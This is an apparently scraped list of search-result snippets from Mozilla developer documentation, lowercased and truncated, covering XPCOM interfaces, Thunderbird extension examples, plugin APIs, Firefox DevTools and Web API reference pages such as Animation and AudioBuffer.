ttploc, sourcewindow) { try { //new obj_uri object var obj_uri = components.classes["@mozilla.org/network/io-service;1"].getservice(components.interfaces.nsiioservice).newuri(httploc, null, null); //new file object var obj_targetfile = components.classes["@mozilla.org/file/local;1"].createinstance(components.interfaces.nsilocalfile); //set file with path obj_targetfile.initwithpath("c:\\temp\\test.pdf"); //if file doesn't exist, create if(!obj_targetfile.exists()) { obj_targetfile.create(0x00,0644); } //new persistence object var obj_persist = components.classes["@mozilla.org/embedding/browser/nswebbrowserpersist;1"].createinstance(components.interfaces.nsiwebbrowserpersist); // with persist flags if desired const nsiwbp = compone...
nsIWinTaskbar
fails if a jump list build operation has already been initiated, developers should make use of a single instance of nsijumplistbuilder for building lists within an application.
nsIWindowCreator
the application, either mozilla or an embedding app, must provide an implementation of the window watcher component and notify the windowwatcher during application initialization.
nsIWindowWatcher
this component must be initialized at application startup by calling setwindowcreator().
nsIWindowsShellService
shortcutmaintenance() provides the shell service an opportunity to do some win7+ shortcut maintenance needed on initial startup of the browser.
nsIXMLHttpRequest
the interface definition: //github.com/realityripple/uxp/blob/master/dom/xhr/nsixmlhttprequest.idl elevated privileges as mentioned in the "non-standard properties" the property of channel was read-only.
nsIXULWindow
if arelative is null then relative to the screen of the opener window if it was initialized by passing it to nswebshellwindow::initialize.
nsMsgRuleActionType
iltercore.idl typedef long nsmsgruleactiontype; [scriptable, uuid(59af7696-1e28-4642-a400-fa327ae0b8d8)] interface nsmsgfilteraction { /* if you change these, you need to update filter.properties, look for filteractionx */ /* these longs are all actually of type nsmsgfilteractiontype */ const long custom=-1; /* see nsmsgfilteraction */ const long none=0; /* uninitialized state */ const long movetofolder=1; const long changepriority=2; const long delete=3; const long markread=4; const long killthread=5; const long watchthread=6; const long markflagged=7; const long label=8; const long reply=9; const long forward=10; const long stopexecution=11; const long deletefrompop3server=12; const long leaveonpop3serv...
nsMsgSearchAttrib
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchattribvalue; /** * definitions of search attribute types.
XPCOM Interface Reference
icationcenternsidomelementnsidomeventnsidomeventgroupnsidomeventlistenernsidomeventtargetnsidomfilensidomfileerrornsidomfileexceptionnsidomfilelistnsidomfilereadernsidomfontfacensidomfontfacelistnsidomgeogeolocationnsidomgeopositionnsidomgeopositionaddressnsidomgeopositioncallbacknsidomgeopositioncoordsnsidomgeopositionerrornsidomgeopositionerrorcallbacknsidomgeopositionoptionsnsidomglobalpropertyinitializernsidomhtmlaudioelementnsidomhtmlformelementnsidomhtmlmediaelementnsidomhtmlsourceelementnsidomhtmltimerangesnsidomjswindownsidommousescrolleventnsidommoznetworkstatsnsidommoznetworkstatsdatansidommoznetworkstatsmanagernsidommoztoucheventnsidomnshtmldocumentnsidomnavigatordesktopnotificationnsidomnodensidomofflineresourcelistnsidomorientationeventnsidomparsernsidomprogresseventnsidomserializ...
NS_CStringAppendData
example nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello"); ns_cstringappenddata(str, " world"); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello world" ns_cstringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_CStringContainerFinish
see also ns_cstringcontainerinit, ns_cstringcontainerinit2 ...
NS_CStringCutData
example code nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello world"); // remove " world" portion of string ns_cstringcutdata(str, 5, pr_uint32_max); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello" ns_cstringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_CStringInsertData
example code nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello"); ns_cstringinsertdata(str, 5, " world"); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello world" ns_cstringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_CStringSetData
example nscstringcontainer str; rv = ns_cstringcontainerinit(str); if (ns_succeeded(rv)) { rv = ns_cstringsetdata(str, "hello world"); if (ns_succeeded(rv)) { // now, pass |str| to some function expecting a |const nsacstring&| parameter.
NS_StringAppendData
example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello"); ns_stringappenddata(str, l" world"); const prunichar* data; ns_stringgetdata(str, &data); // data now points to the string: l"hello world" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_StringCutData
example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello world"); // remove " world" portion of string ns_stringcutdata(str, 5, pr_uint32_max); const prunichar* data; ns_stringgetdata(str, &data); // data now ponts to the string: l"hello" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_StringInsertData
example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello"); ns_stringinsertdata(str, 5, l" world"); const prunichar* data; ns_stringgetdata(str, &data); // data now points to the string: l"hello world" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_StringSetData
example code nsstringcontainer str; rv = ns_stringcontainerinit(str); if (ns_succeeded(rv)) { rv = ns_stringsetdata(str, "hello world"); if (ns_succeeded(rv)) { // now, pass |str| to some function expecting a |const nsastring&| parameter.
nsStaticModuleInfo
summary this data structure is used by ns_initxpcom3 to specify static xpcom modules.
Using IndexedDB in chrome
ndexeddb"] } var principal = cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); var sandbox = components.utils.sandbox(principal, options); // the sandbox will have access to indexeddb var sandboxscript = 'var req = indexeddb.open("my-database");'; components.utils.evalinsandbox(sandboxscript, sandbox); before firefox 33, you would access indexeddb from chrome code using the initwindowless method of the nsiindexeddatabasemanager service.
Status, Recent Changes, and Plans
added an entire section to the getting started guide on nscomptrs in function signatures added references to recent bugs influencing the use of nscomptr machinery: bug 59212, and bug 59414 fixed comparisons 1 and 3, as per comments by morten welinder updated examples to prefer direct initialization over copy initialization.
Using nsCOMPtr
contents status, recent changes, and plans recent changes to nscomptr getting started guide introduction using nscomptr summary reference manual the basics initialization and assignment using an nscomptr<t> as a t* efficiency and correctness compiler annoyances frequently asked questions buildtime errors runtime errors how do i...
Working with Multiple Versions of Interfaces
since these classes don't use vtables this means i'm probably, no i can be more positive, definitely calling the wrong method.
XPCOM tasks
p2 classes that parallel standard library classes should have compatible apis, i.e., nsdeque bug 18505 nsstring nsavltree nshashtable our various array classes in some cases, this might initially be provided by additional interfaces.
XPIDL Syntax
MozillaTechXPIDLSyntax
idl_file = 1*definition definition = [type_decl / const_decl / interface] ";" interface = [prop_list] "interface" ident [[inheritance] "{" *(ifacebody) "}"] inheritance = ":" *(scoped_name ",") scoped_name] ifacebody = [type_decl / op_decl /attr_decl / const_decl] ";" / codefrag type_decl = [prop_list] "typedef" type_spec *(ident ",") ident type_decl /= [prop_list] "native" ident [parens] const_decl = "const...
XSLT 2.0
for developers saxon-ce a javascript api is provided for initiating an xslt 2.0 transform from a web page.
XUL Overlays
MozillaTechXULOverlays
ments at the top and a reference to the overlay's ok and cancel buttons at the bottom: <box align="horizontal" id="bx1" flex="100%" style="margin-bottom: 1em; width: 100%;"> <html:input type="checkbox" id="dialog.newwindow"/> <html:label for="dialog.newwindow">&openwin.label;</html:label> <spring flex="100%"/> </box> <box id="okcancelbuttons"/> for more detail, see the ok and cancel button definitions being referenced here in the global component file platformdialogoverlay.xul.
Address Book examples
adding a mailing list first create a mailing list object and initialize it: var maillist = components.classes["@mozilla.org/addressbook/directoryproperty;1"] .createinstance(components.interfaces.nsiabdirectory); maillist.ismaillist = true; now fill in the details you want to store: maillist.dirname = "my mailing list"; maillist.listnickname = "nickname for list"; maillist.description = "list description"; add the cards you want t...
Autoconfig file format
how to create a config file file format definition ...
Autoconfiguration in Thunderbird
the configuration file description and definition the original project page on the mozilla wiki for background, design, implementation and project details this document describes how autoconfiguration in thunderbird works, and what to do to allow mail servers to be autoconfigured.
Events
compose-send-message a message gets sent compose-window-close a compose window gets closed compose-window-init a compose window has been opened compose-window-reopen a cached compose window has been reopened.
Filelink Providers
once this is done, the field is accessible from within the implementation via the preferences api using the key mail.cloud_files.accounts.account_key.username where account_key is the value passed into the implementations init function.
MailNews fakeserver
getarticle message id newsarticle object pretty self-explanatory newsarticle api name arguments returns notes [constructor] text (as a string) n/a initializes all fields headers (property) map of header (lower-case) -> value body (property) text of body messageid (property) message id fulltext (property) full text as message without modification except added headers.
MailNews Protocols
the service class creates and initializes the url object for the operation, and hands that off to a protocol object to run.
Building a Thunderbird extension 2: extension file layout
to start with the tutorial, manually create the initial directory structure for the extension as it is depicted above in a folder called myfirstext@jen.zed.
Filter Incoming Mail
by example, setting it to lower case subject = subject.tolocalelowercase(); // then we rebuild a subject objet by rencoding the string // and assign it to the message headers and we're done amsghdr.subject = mimeconvert.encodemimepartiistr_utf8(subject, false, "utf-8", 0, 72); } } }; function init() { var notificationservice = components.classes["@mozilla.org/messenger/msgnotificationservice;1"] .getservice(components.interfaces.nsimsgfoldernotificationservice); notificationservice.addlistener(newmaillistener, notificationservice.msgadded); } addeventlistener("load", init, true); have a look to nsimsgdbhdr to get the full list of properties to be modified.
Use SQLite
const cc = components.classes; const ci = components.interfaces; var tbirdsqlite = { onload: function() { // initialization code this.initialized = true; this.dbinit(); }, dbconnection: null, dbschema: { tables: { attachments:"id integer primary key, \ name text \ encoded text not null" } }, dbinit: function() { var dirservice = cc["@mozilla.org/file/directory_service;1"].
Tips and Tricks from the newsgroups
sageuri, folderuri and gdbview are unknown) determine whether a message has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without selecting message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to prevent pop messages from getting garbled during message retrieval ...
Toolkit version format
a few examples of valid version parts: 0 (as in 1.0): <number-a>=0 5a (as in 1.5a): <number-a>=5, <string-b>=a 5pre4 (as in 3.5pre4): <number-a>=5, <string-b>=pre, <number-c>=4 * (as in 1.0.*): <string-b>=* a few special parsing rules are applied for backwards compatibility and readability: if the version part is a single asterisk, it is interpreted as an infinitely-large number: 1.5.0.* is the same as 1.5.0.(infinity) if string-b is a plus sign, number-a is incremented to be compatible with the firefox 1.0.x version format: 1.0+ is the same as 1.1pre the rationale behind splitting a version part into a sequence of strings and numbers is that when comparing version parts, the numeric parts are compared as numbers, e.g.
Using tab-modal prompts
var window = gbrowser.contentwindow; var promptfact = components.classes['@mozilla.org/prompter;1'].getservice(components.interfaces.nsipromptfactory); var prompt = promptfact.getprompt(window, components.interfaces.nsiprompt); var promptbag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); promptbag.setpropertyasbool('allowtabmodal', true); var check = {value: false}; //initial state of checkbox, however if no text is supplied the checkbox is not shown var input = {value: 'pre filled value'}; var ok = prompt.prompt.apply(null, ['title - but not shown in tab modal', 'text goes here', input, 'check text, if no text, checkbox is not shown', check]); //this here is just an alert, showing the values of the prompt prompt.alert.apply(null, ['title not shown in modal', 'use...
Working with windows in chrome code
to overcome this difficulty, you can move the initialization code to a load handler of the window being opened or pass a callback function, as described below.
Examples
lightweight bridge for calling cocoa frameworks from javascript, js-macosx transparently handles definition of cocoa api, both c and objective-c, and provides automatic declarations for framework functions, structures, constants and enumerations, as well as allows creating and subclassing cocoa classes.
Type conversion
owing rules are applied: boolean type target type source converted value ctype.bool js value toboolean(src) console.log(ctypes.bool("123").tostring()); // 'ctypes.bool(true)' console.log(ctypes.bool("").tostring()); // 'ctypes.bool(false)' integer types target type source converted value any integer types js number except -infinity, infinity, nan c-style cast -infinity 0 infinity nan ctypes.int64 c-style cast ctypes.uint64 js string with base-10 or base-16 string (only if fits to the size) parse src as base-10 or base-16 string console.log(ctypes.int32_t(infinity).tostring()); // 'ctypes.int32_t(0)' console.log(ctypes.int32_t("0xff").tostr...
PKCS #11 Netscape Trust Objects - Network Security Services
definitions definitions for all of the above values are defined in pkcs11n.h in the nss source.
Blocking By Domain - Plugins
the initial contents of the third-party plugin block list are based on disconnect's open source blocklist.
Flash Activation: Browser Comparison - Plugins
e by calling a javascript function when the plugin is activated: function plugincreated() { // we don't need to see the plugin, so hide it by resizing var plugin = document.getelementbyid('myplugin'); plugin.height = 0; plugin.width = 0; plugin.callpluginmethod(); } the html, by default, specifies the flash object to be a size that makes it visible, like this: <!-- give the plugin an initial size so it is visible --> <object type="application/x-shockwave-flash" data="myapp.swf" id="myplugin" width="300" height="300"> <param name="callback" value="plugincreated()"> </object> the callback parameter defined in the html can be called in flash using its flash.external.externalinterface api.
Browser Side Plug-in API - Plugins
npn_pluginthreadasynccall thread-safe way to request that the browser calls a plug-in function on the browser or plug-in thread (the thread on which the plug-in was initiated).
Plug-in Development Overview - Plugins
npp_getvalue is called after the plug-in is initialized to get the scripting interface while np_getvalue is called during initialization to retrieve the plug-in's name and description, which will appear in the navigator.plugins dom object which is used to populate about:plugins.
Scripting plugins - Plugins
the threading model for this api is such that all calls through this api are synchronous and calls from a plugin to methods in this api must come from the thread on which the plugin was initiated, and likewise all calls to methods in this api by the browser are guaranteed to come from the same thread.
Version, UI, and Status Information - Plugins
getting the current version your plug-in should make sure, possibly during initialization, that the version of the plug-in api it is using is compatible with the version the browser is using.
Accessibility Inspector - Firefox Developer Tools
if you don't wish to allow the accessibility features to be automatically enabled, you can use the configuration editor (also known as about:config) to define the preference devtools.accessibility.auto-init.enabled, and set it to false.
Debugging service workers - Firefox Developer Tools
it is also worth knowing that if you are testing an app's offline capabilities, you'll be able to see whether requests are being retrieved from a service worker-initiated cache rather than from the network by looking at network monitor.
UI Tour - Firefox Developer Tools
use it to jump directly to a function, class or method definition.
Debugger.Environment - Firefox Developer Tools
callee if this environment represents the variable environment (the top-level environment within the function, which receives var definitions) for a call to a functionf, then this property’s value is a debugger.object instance referring tof.
Debugger.Script - Firefox Developer Tools
a[i] = i*i; calling getalloffsets() on that code might yield an array like this: [[0], [5, 20], , [10]] this array indicates that: the first line’s code starts at offset 0 in the script; the for statement head has two entry points at offsets 5 and 20 (for the initialization, which is performed only once, and the loop test, which is performed at the start of each iteration); the third line has no code; and the fourth line begins at offset 10.
All keyboard shortcuts - Firefox Developer Tools
nsole output (only if the command line is empty) end end end page up through console output page up page up page up page down through console output page down page down page down go backward through command history up arrow up arrow up arrow go forward through command history down arrow down arrow down arrow initiate reverse search through command history/step backwards through matching commands f9 ctrl + r f9 step forward through matching command history (after initiating reverse search) shift + f9 ctrl + s shift + f9 move to the beginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute th...
Aggregate view - Firefox Developer Tools
let's get an allocation trace: open the memory tool check "record call stacks" load https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html take a snapshot select "view/aggregate" select "group by/call stack" you should see something like this: this is telling us that 93% of the total heap snapshot was allocated in functions called from "alloc.js", line 35 (our initial createtoolbars() call).
Monster example - Firefox Developer Tools
for each array, the code creates and appends 5000 randomly-initialized monsters.
Network request details - Firefox Developer Tools
if the response is html, js, or css, it will be shown as text: if the response is json, it will be shown as an inspectable object: if the response is an image, the tab displays a preview: for network responses that are initiated by a websocket connection, the details pane shows any associated messages.
Network request list - Firefox Developer Tools
a reset columns command is available on the context menu to reset the columns to their initial configuration.
Examine and edit CSS - Firefox Developer Tools
the copy rule command copies the entire element, class, or id definition, including any unchanged rules and the rules that describe your changes.
Examine and edit HTML - Firefox Developer Tools
::before and ::after you can inspect pseudo-elements added using ::before and ::after: custom element definition when you open the inspector on a page that includes custom elements, you can view the class definition for the custom element in the debugger: inspect the element click on the word custom the source for the element's class will be displayed in the debugger.
Work with animations - Firefox Developer Tools
both properties were initialized at 0ms and finalized at 750ms.
Waterfall - Firefox Developer Tools
javascript functions executed in the page are labeled with the reason the function was called: script tag setinterval settimeout requestanimationframe promise callback promise init worker javascript uri event handler stack call stack, with links to functions.
Cookies - Firefox Developer Tools
same-site cookies allow servers to mitigate the risk of csrf and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain.
Tips - Firefox Developer Tools
press ctrl+d to search for a function definition.
Web console keyboard shortcuts - Firefox Developer Tools
nsole output (only if the command line is empty) end end end page up through console output page up page up page up page down through console output page down page down page down go backward through command history up arrow up arrow up arrow go forward through command history down arrow down arrow down arrow initiate reverse search through command history/step backwards through matching commands f9 ctrl + r f9 step forward through matching command history (after initiating reverse search) shift + f9 ctrl + s shift + f9 move to the beginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute th...
about:debugging (before Firefox 68) - Firefox Developer Tools
three states are distinguished: "registering": this covers all states between the service worker's initial registration, and its assuming control of pages.
about:debugging - Firefox Developer Tools
three states are possible: registering: this covers all states between the service worker's initial registration, and its assuming control of pages.
AbortSignal: abort event - Web APIs
ller = new abortcontroller(); var signal = controller.signal; signal.addeventlistener('abort', function() { console.log('request aborted'); }; or use the onabort event handler property: var controller = new abortcontroller(); var signal = controller.signal; signal.onabort = function() { console.log('request aborted'); }; specifications specification status domthe definition of 'abort' in that specification.
AbsoluteOrientationSensor - Web APIs
orientation sensorthe definition of 'absoluteorientationsensor' in that specification.
AbsoluteOrientationSensor - Web APIs
orientation sensorthe definition of 'absoluteorientationsensor' in that specification.
AbstractRange - Web APIs
the result looks like this: specifications specification status comment domthe definition of 'abstractrange' in that specification.
AbstractWorker.onerror - Web APIs
}; example the following code snippet shows creation of a worker object using the worker() constructor and setting up of an onerror handler on the resulting object: var myworker = new worker('worker.js'); myworker.onerror = function() { console.log('there is an error with your worker!'); } specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification.
AbstractWorker - Web APIs
specifications specification status comment html living standardthe definition of 'abstractworker' in that specification.
Accelerometer.Accelerometer() - Web APIs
accelerometerthe definition of 'accelerometer' in that specification.
Accelerometer.x - Web APIs
WebAPIAccelerometerx
accelerometerthe definition of 'x' in that specification.
Accelerometer.y - Web APIs
WebAPIAccelerometery
accelerometerthe definition of 'y' in that specification.
Accelerometer.z - Web APIs
WebAPIAccelerometerz
accelerometerthe definition of 'z' in that specification.
Accelerometer - Web APIs
accelerometerthe definition of 'accelerometer' in that specification.
AesKeyGenParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aeskeygenparams' in that specification.
AmbientLightSensor.AmbientLightSensor() - Web APIs
ambient light sensorthe definition of 'ambientlightsensor()' in that specification.
AmbientLightSensor.illuminance - Web APIs
ambient light sensorthe definition of 'illuminance' in that specification.
AmbientLightSensor - Web APIs
ambient light sensorthe definition of 'ambientlightsensor' in that specification.
Ambient Light Sensor API - Web APIs
specifications specification status comment ambient light sensor candidate recommendation initial definition.
AnalyserNode.fftSize - Web APIs
v = dataarray[i] / 128.0; var y = v * height/2; if(i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.height/2); canvasctx.stroke(); }; draw(); specifications specification status comment web audio apithe definition of 'fftsize' in that specification.
AnalyserNode.frequencyBinCount - Web APIs
th = (width / bufferlength) * 2.5 - 1; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth; } }; draw(); specifications specification status comment web audio apithe definition of 'frequencybincount' in that specification.
AnalyserNode.getByteTimeDomainData() - Web APIs
nvasctx.beginpath(); for(var i = 0; i < bufferlength; i++) { const v = dataarray[i]/128.0; const y = v * height/2; if(i === 0) canvasctx.moveto(x, y); else canvasctx.lineto(x, y); x += slicewidth; } canvasctx.lineto(width, height/2); canvasctx.stroke(); }; draw(); specifications specification status comment web audio apithe definition of 'getbytetimedomaindata()' in that specification.
AnalyserNode.getFloatTimeDomainData() - Web APIs
specifications specification status comment web audio apithe definition of 'getfloattimedomaindata()' in that specification.
AnalyserNode.maxDecibels - Web APIs
th = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth + 1; } }; draw(); specifications specification status comment web audio apithe definition of 'maxdecibels' in that specification.
AnalyserNode.minDecibels - Web APIs
th = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth + 1; } }; draw(); specifications specification status comment web audio apithe definition of 'mindecibels' in that specification.
AnalyserNode.smoothingTimeConstant - Web APIs
th = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth + 1; } }; draw(); specifications specification status comment web audio apithe definition of 'smoothingtimeconstant' in that specification.
AnalyserNode - Web APIs
; i < bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * canvas.height / 2; if (i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.height / 2); canvasctx.stroke(); } draw(); specifications specification status comment web audio apithe definition of 'analysernode' in that specification.
Animation() - Web APIs
examples in the follow the white rabbit example, the animation() constructor is used to create an animation for the rabbitdownkeyframes using the document's timeline: var rabbitdownanimation = new animation(rabbitdownkeyframes, document.timeline); specifications specification status comment web animationsthe definition of 'animation()' in that specification.
Animation.cancel() - Web APIs
WebAPIAnimationcancel
specifications specification status comment web animationsthe definition of 'animation.cancel()' in that specification.
Animation.commitStyles() - Web APIs
examples const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); }); specifications specification status comment web animationsthe definition of 'commitstyles()' in that specification.
Animation.currentTime - Web APIs
specifications specification status comment web animationsthe definition of 'currenttime' in that specification.
Animation.effect - Web APIs
WebAPIAnimationeffect
specifications specification status comment web animationsthe definition of 'animation.effect' in that specification.
Animation.finished - Web APIs
examples the following code waits until all animations running on the element elem have finished, then deletes the element from the dom tree: promise.all( elem.getanimations().map( function(animation) { return animation.finished } ) ).then( function() { return elem.remove(); } ); specifications specification status comment web animationsthe definition of 'animation.finished' in that specification.
Animation.id - Web APIs
WebAPIAnimationid
examples in the follow the white rabbit example, you can assign the rabbitdownanimation an id like so: rabbitdownanimation.effect.id = "rabbitgo"; specifications specification status comment web animationsthe definition of 'animation.id' in that specification.
Animation.onfinish - Web APIs
hide(endingui); // when the credits are later faded in, // we re-add the pointer events when they're done bringui.onfinish = function() { endingui.style.pointerevents = 'auto'; }; specifications specification status comment web animationsthe definition of 'animation.onfinish' in that specification.
Animation.play() - Web APIs
WebAPIAnimationplay
cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touchstart", growalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification.
Animation.ready - Web APIs
WebAPIAnimationready
animation.pause(); animation.ready.then(function() { // displays 'running' alert(animation.playstate); }); animation.play(); specifications specification status comment web animationsthe definition of 'animation.ready' in that specification.
Animation.reverse() - Web APIs
WebAPIAnimationreverse
-1; alicechange.play(); // play the bottle's animation drinking.play() } but it could also have been done by calling reverse() on alicechange like so: var shrinkalice = function() { // play alice's animation in reverse alicechange.reverse(); // play the bottle's animation drinking.play() } specifications specification status comment web animationsthe definition of 'reverse()' in that specification.
Animation.timeline - Web APIs
examples here we set the animation's timeline to be the same as the document's timeline (this is the default timeline for all animations, by the way): animation.timeline = document.timeline; specifications specification status comment web animationsthe definition of 'animation.timeline' in that specification.
Animation.updatePlaybackRate() - Web APIs
component would benefit from smooth updating of updateplaybackrate(), as demonstrated below: speedselector.addeventlistener('input', evt => { cartoon.updateplaybackrate(parsefloat(evt.target.value)); cartoon.ready.then(() => { console.log(`playback rate set to ${cartoon.playbackrate}`); }); }); specifications specification status comment web animationsthe definition of 'updateplaybackrate()' in that specification.
AnimationEffect.getComputedTiming() - Web APIs
specifications specification status comment web animationsthe definition of 'animationeffect.getcomputedtiming()' in that specification.
AnimationEffect.getTiming() - Web APIs
specifications specification status comment web animationsthe definition of 'animationeffect.gettiming()' in that specification.
AnimationEffect.updateTiming() - Web APIs
specifications specification status comment web animationsthe definition of 'animationeffect.updatetiming()' in that specification.
AnimationEffect - Web APIs
specifications specification status comment web animationsthe definition of 'animationeffect' in that specification.
AnimationPlaybackEvent.currentTime - Web APIs
specifications specification status comment web animationsthe definition of 'animationplaybackevent.currenttime' in that specification.
AnimationPlaybackEvent.timelineTime - Web APIs
specifications specification status comment web animationsthe definition of 'animationplaybackevent.timelinetime' in that specification.
AnimationPlaybackEvent - Web APIs
specifications specification status comment web animationsthe definition of 'animationplaybackevent' in that specification.
AnimationTimeline.currentTime - Web APIs
specifications specification status comment web animationsthe definition of 'currenttime' in that specification.
AnimationTimeline - Web APIs
specifications specification status comment web animationsthe definition of 'animationtimeline' in that specification.
Attr.namespaceURI - Web APIs
WebAPIAttrnamespaceURI
specifications specification status comment domthe definition of 'attr: namespaceuri' in that specification.
AudioBuffer.copyFromChannel() - Web APIs
var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); var anotherarray = new float32array(length); myarraybuffer.copyfromchannel(anotherarray, 1, 0); specification specification status comment web audio apithe definition of 'copyfromchannel' in that specification.
AudioBuffer.copyToChannel() - Web APIs
myarraybuffer.copytochannel (anotherarray,0,0); specification specification status comment web audio apithe definition of 'copytochannel' in that specification.
AudioBuffer.duration - Web APIs
er that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.duration); } specification specification status comment web audio apithe definition of 'duration' in that specification.
AudioBuffer.getChannelData() - Web APIs
ffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); } specification specification status comment web audio apithe definition of 'getchanneldata' in that specification.
AudioBuffer.length - Web APIs
uffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.length); } specification specification status comment web audio apithe definition of 'length' in that specification.
AudioBuffer.numberOfChannels - Web APIs
contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.numberofchannels); } specification specification status comment web audio apithe definition of 'numberofchannels' in that specification.
AudioBuffer.sampleRate - Web APIs
r that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.samplerate); } specification specification status comment web audio apithe definition of 'samplerate' in that specification.
AudioBufferSourceNode.detune - Web APIs
myarraybuffer.getchanneldata(channel); for (let i = 0; i < framecount; i++) { nowbuffering[i] = math.random() * 2 - 1; } } const source = audioctx.createbuffersource(); source.buffer = myarraybuffer; source.connect(audioctx.destination); source.detune.value = 100; // value in cents source.start(); specifications specification status comment web audio apithe definition of 'detune' in that specification.
AudioBufferSourceNode.loop - Web APIs
function(e){"error with decoding audio data" + e.err}); } request.send(); } // wire up buttons to stop and play audio, and range slider control play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); playbackcontrol.removeattribute('disabled'); } specification specification status comment web audio apithe definition of 'loop' in that specification.
AudioBufferSourceNode.loopStart - Web APIs
loopstartcontrol.oninput = function() { source.loopstart = loopstartcontrol.value; loopstartvalue.innerhtml = loopstartcontrol.value; } loopendcontrol.oninput = function() { source.loopend = loopendcontrol.value; loopendvalue.innerhtml = loopendcontrol.value; } specifications specification status comment web audio apithe definition of 'loopstart' in that specification.
AudioBufferSourceNode.playbackRate - Web APIs
ttribute('disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute('disabled'); playbackcontrol.setattribute('disabled', 'disabled'); } playbackcontrol.oninput = function() { source.playbackrate.value = playbackcontrol.value; playbackvalue.innerhtml = playbackcontrol.value; } specification specification status comment web audio apithe definition of 'playbackrate' in that specification.
AudioBufferSourceNode.start() - Web APIs
specifications specification status comment web audio apithe definition of 'start()' in that specification.
AudioBufferSourceNode - Web APIs
specifications specification status comment web audio apithe definition of 'audiobuffersourcenode' in that specification.
AudioContext.close() - Web APIs
stopbtn.onclick = function() { audioctx.close().then(function() { startbtn.removeattribute('disabled'); susresbtn.setattribute('disabled', 'disabled'); stopbtn.setattribute('disabled', 'disabled'); }); } specifications specification status comment web audio apithe definition of 'close()' in that specification.
AudioContext.createJavaScriptNode() - Web APIs
example the following script illustrates the use of createjavascriptnode(): var sinewave = function(context) { var that = this; this.x = 0; // initial sample number this.context = context; this.node = context.createjavascriptnode(1024, 1, 1); this.node.onaudioprocess = function(e) { that.process(e) }; } sinewave.prototype.process = function(e) { var data = e.outputbuffer.getchanneldata(0); for (var i = 0; i < data.length; ++i) { data[i] = math.sin(this.x++); } } sinewave.prototype.play = function() { this.node.connect(thi...
